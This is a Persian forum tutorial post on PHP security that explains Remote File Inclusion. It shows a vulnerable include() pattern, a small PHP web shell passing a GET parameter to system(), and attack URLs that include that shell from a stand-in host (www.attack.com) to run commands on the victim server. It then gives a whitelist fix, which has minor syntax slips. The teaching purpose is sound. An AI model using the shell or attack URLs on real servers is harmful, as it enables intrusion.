دريافت Firefoxشما از نسخه ساده رايت کليک استفاده مي نماييد. براي ديدن نسخه پيشرفته رايت کليک، در صورت استفاده از يک مرورگر استاندارد، [ اينجا ]کليک نماييد.

آخرين عناوين ارسالي به انجمن ها
لينک هاي دوستان
به دليل حجم زياد فقط تعدادي به صورت تصادفي نمايش داده شده اند.
لينکستان دات کام˙·▪•● جزیره دانلود ●•▪·˙زير18سال ممنوعRashCMSIrooniWeb(((***پسران رُز***)))بهزادآريالينك - پورتال ايرانيكليد طلايي كامپيوتر.::مكاني براي تبليغات رايگان::.همچي در مورد جي تي اي و ...sradesignآموزش ويژوال بيسيكبهرام پی سیناظرحضرتپپ ايرانيشیداسرویس ارتباط با ماسايت تخصصي جاوا اسكرپت ايرانهنر و انديشهسیستم جامع هوشمند افزایش آمارمعرفي و دانلود اسكريپت هاي‏ آژاكسقرمز ، پرتال اینترنتی پارسی زباناندانلود سرا دات کاموبلاگ شخصي عباسعلي خالقيهشتمین زنده به گورDatalife Engineداداش اینجافارسي سافتانجمن تخصصي اينترنتدانلود بهترين برنامه ها و آموزشگاه رايگان600 كتاب الكترونيك رايگانپيامك آنلاين،وبلاگ تخصصي موبايلعلی رجبی.: |MY BEAUTIFUL LOVELLY VILLAGE |:.سایت جامع موبایل و کامپیوترشناسایی افراد مخفی در یاهوآموزشگاه موسیقی پارتآموزش آنلاین الکترونیکسرزمين قالب
امنيت در php
1 , 2بازديد ها: 7789, پاسخ ها: 16
توسط ermya در 27 خرداد 1387 - 19:04 ، پست ها: 63
دوستان من عذر خواهي ميكنم از اينكه نوشتن باقي مطالب اينقدر طول كشيد ! ولي خوب همون طور كه خودتون ميدونيد وقت امتحانات دانشگاه هست و بلاخره وقت واسه سر خاروندن نيست يه چند تا ديگه امتحان مونده كه اگه خدا خاست اونها رو هم بديم و بيايم سراغ مقالمون !‏ :kuss:
[ تبليغات ] سیستم دامنه رایگاناین سیستم به شما این امکان را می دهد که به کاربران وب، دامنه رایگان ارایه دهید. در واقع کاربران بوسیله این سیستم می توانند برای وب سایت ها...
فرا خواني فايل هاي راه دور
توسط ermya در 8 آبان 1387 - 9:27 ، پست ها: 63
سلام دوستان ببخشيد كه يه مدت نميومدم ! خدا رو شكر امروز يكم وقتم آزاد بود گفتم بيام و يك سري مطلب يه اين بخش اضافه كنم !
خب بريم سر اصل مطلب يعني آسيب پذيري فراخواني فايل هاي راه دور
‍Remote File Inclusion
:roll:


اين نوع آسيب پذيري كه از ديگر انواع خود رايج ترهست جزء دستهء خيلي خطرناك طبقه بندي ميشه چون نفوذگر با استفاده از اين آسيب پذيري ميتونه دسترسي مستقيم به سرور و يا هاست شما داشته باشه و دستورات CMD رو مستقيما‍ً اجرا كنه و يا فايل آپلود كنه پاك كنه يا ويرايش كنه و ...... البته بستگي به نحوه طبقه بندي سطح دسترسي فايل ها داره (‏پرميشن )‏كه بعداً در مورد نحوه پرميشن بندي صحيح فايل ها بحث خواهد شد !
اين آسيب پذيري مثله آسيب پذيري پيمايش دايركتوري از نحوه دادن آرگومان هاي ورودي به توابع اينكلود و .... به وجود مياد !
به اين مثال دقت كنيد !

کد: انتخاب همه
<?
if (isset($page))
{
include($page);
}
?>


خب ممكنه يك كاربر معمولي با كليك كردن روي قسمت هاي مختلف سايت بدون توجه به URL ها به قسمت هاي مختلف سايت بره و به هدف خودش برسه
دقت كنيد :‏

کد: انتخاب همه
http://www.example.com/?page=link.php
http://www.example.com/?page=galery.php
http://www.example.com/?page=contact.php


اما همون طور كه خودتون ميدونيد يك نفوذ گر فكري متفاوت داره و مياد با مقدار دهي اشتباه به متغيير Page به ارزيابي خطا ها بپردازه و متوجه اشتباه برنامه نويس در نحوه فراخواني بشه !

کد: انتخاب همه
http://www.example.com/?page=test.php
Warning: main(test.php): failed to open stream: No such file or
directory in www\example.com\index.php on line 9
Warning: main(): Failed opening 'n0thing.php' for inclusion
(include_path='.;\php\pear\') in \www\example.com\index.php on line 9


با كمي دقت ميشه فهميد برنامه در فرا خواني صفحه اي كه وجود نداره دچار مشكل شده !
حالا ممكنه اين سوال پيش بيلد كه يك نفوذ گر چطوري ميتونه از اين خطا ها استفاده كنه و به هدف خودش برسه !
پس به كد ها ي زير دقت كنيد :‏

کد: انتخاب همه
<?
if (isset($_GET['cmd']))
{
$cmd=$_GET['cmd'];
echo "<pre>";
system("$cmd");
echo "</pre>";
exit();
}
?>


دقت كنيد در اين صفحه با مقدار دهي به متغيير cmd ميتونيد فرامين خط فرمان رو اجرا كنيد ! خب حالا نفوذگر اين صفحه رو به عنوان يكي از صفحات وب سايت شما فراخوني ميكنه !
کد: انتخاب همه
http://www.example.com/?page= www.attack.com/cmd

و اين مقدار به صورت زير فراخوني ميشه !‏
کد: انتخاب همه
include(www.attack.com/cmd.php)

حالا بين اين صفحه و صفحه cmd تفاوتي نيست و با دادن دستور نفوذگر به هدف خودش ميرسه !
کد: انتخاب همه
http://www.example.com/?page= www.attack.com/cmd?cmd=ls -al
http://www.example.com/?page= www.attack.com/cmd?cmd=dir+c:\

دقت كنيد كه تمامي فرامين بالا بر روي سرور شما اجرا ميشه نه سرور نفوذگر !
حالا اگه سرور قرباني به گونه اي تنظيم شده باشه كه كيوتيشن رو به همراه بك اسلش نمايش بده ميشه از تابع stripslashes استفاده كرد

کد: انتخاب همه
<?
if (isset($_GET['cmd']))
{
$cmd=$_GET['cmd'];
echo "<pre>";
system(stripslashes($cmd))
echo "</pre>";
exit();
}
?>

گاهي هم ميشه از پسوند txt براي فراخواني استفاده كرد البته يك نفوذگر بيشتر اوقات از شلر ها استفاده ميكنه و بحث بالا مثالي براي اين بخش بود !

اين گونه آسيب پذيري ها محدود به تابع اينكلود نميشه و توابع ديگري چون
کد: انتخاب همه
• Require()
• Require_once()
• Include_once()
• Include()
• Fopen()
• open()
• More …

ها هم ممكن هست باعث اين نوع آسيب پذيري بشن !
نحوه جلوگيري از اين آسيب پذيري مثل آسيب پذيري پيمايش دايركتوري هست و با تعريف يك آرايه و بررسي مقدار موجود در آن و با قرار دادن register global بصورت خاموش ميشه اين نوع حملات رو محدود تر كرد !


<?
$pages = array('index.php', 'link.php', 'galery.php', 'contact.php');
if (isset($page))
{
if (in_array($page,$pages)){
include($page);
}else{
die "Security error:Remote File Inclusion Vulnerability Protection"
}}
?>


نكته : هميشه سعي كنيد از متغيير ها براي فراخواني فايل ها استفاده نكنيد و اگه مجبور به اين كار شديد تمهيدات امنيتي رو فراموش نكنين ! :idea:

خب اين مبحث تموم شد بحث بعدي ما در مورد حملات اجراي فرامين هست كه با ما همراه باشين .... :roll:

1 , 2
صفحه اصليرايت کليکانجمن هاپروژه هاCopyright © 2005-2009 RightClick.ir All rights reserved.